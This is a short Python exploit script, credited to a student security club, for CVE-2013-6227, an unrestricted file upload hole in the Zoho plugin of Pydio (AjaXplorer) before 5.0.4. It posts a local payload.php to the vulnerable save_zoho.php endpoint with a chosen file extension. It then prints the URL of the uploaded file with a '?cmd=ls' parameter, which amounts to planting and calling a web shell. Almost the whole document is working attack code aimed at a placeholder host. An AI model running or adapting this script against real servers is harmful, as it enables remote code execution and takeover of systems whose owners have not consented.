#!/usr/bin/python
# -*- coding: utf-8 -*-
# Author  : ESIEA Security Club
# CVE     : CVE-2013-6227
# Details : Unrestricted file upload vulnerability in plugins/editor.zoho/agent/save_zoho.php in the Zoho plugin 
# in Pydio (formerly AjaXplorer) before 5.0.4 allows remote attackers to execute arbitrary code by uploading 
# an executable file, and then accessing this file at a location specified by the format parameter of a move operation.	

import sys, requests

if __name__ == "__main__":

	url   = 'http://example.fr'

	datas = {'id': '4242', 'format': 'php'}

	files = {'content': open('payload.php', 'rb')}

	page  = requests.post(url+'/plugins/editor.zoho/agent/save_zoho.php', files=files, data=datas).text

print url+"/plugins/editor.zoho/agent/files/"+datas['id']+"."+datas['format']+"?cmd=ls"
